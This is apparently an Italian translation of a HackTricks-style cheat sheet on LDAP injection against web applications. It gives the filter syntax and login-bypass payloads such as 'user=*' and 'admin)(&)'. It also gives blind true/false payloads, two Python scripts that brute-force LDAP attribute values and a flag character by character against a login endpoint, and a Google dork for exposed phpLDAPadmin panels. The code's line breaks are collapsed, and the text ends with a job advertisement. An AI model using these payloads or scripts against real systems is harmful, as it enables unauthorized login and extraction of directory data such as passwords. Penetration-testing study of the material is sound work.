L'Iniezione LDAP è un attacco mirato alle applicazioni web che costruiscono dichiarazioni LDAP dall'input dell'utente. Si verifica quando l'applicazione non riesce a sanificare correttamente l'input, consentendo agli attaccanti di manipolare le dichiarazioni LDAP attraverso un proxy locale, potenzialmente portando a un accesso non autorizzato o alla manipolazione dei dati.
Filtro = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = VERO assoluto
(|) = FALSO assoluto
Per esempio:
(&(!(objectClass=Impresoras))(uid=s*))(&(objectClass=user)(uid=*))
È possibile accedere al database, che può contenere informazioni di molti tipi diversi.
OpenLDAP: Se arrivano 2 filtri, esegue solo il primo.
ADAM o Microsoft LDS: Con 2 filtri restituiscono un errore.
SunOne Directory Server 5.0: Esegue entrambi i filtri.
È molto importante inviare il filtro con la sintassi corretta o verrà restituito un errore. È meglio inviare solo 1 filtro.
Il filtro deve iniziare con: & o |
Esempio: (&(directory=val1)(folder=public))
Quindi: (&(objectClass=*)(ObjectClass=*)) sarà il primo filtro (quello eseguito).
Bypass del Login
LDAP supporta diversi formati per memorizzare la password: chiaro, md5, smd5, sh1, sha, crypt. Quindi, potrebbe essere che indipendentemente da ciò che inserisci nella password, essa viene crittografata.
user=*password=*--> (&(user=*)(password=*))# The asterisks are great in LDAPi
user=admin)(&)password=pwd--> (&(user=admin)(&))(password=pwd) #Can through an error
username=admin)(!(&(|pass=any))--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
È possibile forzare risposte False o True per verificare se vengono restituiti dati e confermare una possibile Iniezione LDAP Blind:
#This will result on True, so some information will be shownPayload:*)(objectClass=*))(&objectClass=voidFinalquery: (&(objectClass=*)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shownPayload:void)(objectClass=void))(&objectClass=voidFinalquery: (&(objectClass=void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Dump dati
Puoi iterare sui caratteri ascii, cifre e simboli:
Gli oggetti LDAP contengono per impostazione predefinita diversi attributi che potrebbero essere utilizzati per salvare informazioni. Puoi provare a forzare tutti loro per estrarre quelle informazioni. Puoi trovare un elenco di attributi LDAP predefiniti qui.
#!/usr/bin/python3import requestsimport stringfrom time import sleepimport sysproxy ={"http":"localhost:8080"}url ="http://10.10.10.10/login.php"alphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes:#Extract all attributesvalue =""finish =Falsewhilenot finish:for char in alphabet:#In each possition test each possible printable charquery =f"*)({attribute}={value}{char}*"data ={'login':query,'password':'bla'}r = requests.post(url, data=data, proxies=proxy)sys.stdout.write(f"\r{attribute}: {value}{char}")#sleep(0.5) #Avoid brute-force bansif"Cannot login"in r.text:value +=str(char)breakif char == alphabet[-1]:#If last of all the chars, then, no more chars in the valuefinish =Trueprint()
Iniezione LDAP Blind Speciale (senza "*")
#!/usr/bin/python3import requests, stringalphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(50):print("[i] Looking for number "+str(i))for char in alphabet:r = requests.get("http://ctf.web??action=dir&search=admin*)(password="+ flag + char)if ("TRUE CONDITION"in r.text):flag += charprint("[+] Flag: "+ flag)break
Google Dorks
intitle:"phpLDAPadmin"inurl:cmd.php
Altri Payloads
Se sei interessato a una carriera nel campo dell'hacking e a violare l'invulnerabile - stiamo assumendo! (richiesta competenza nella lingua polacca, scritta e parlata).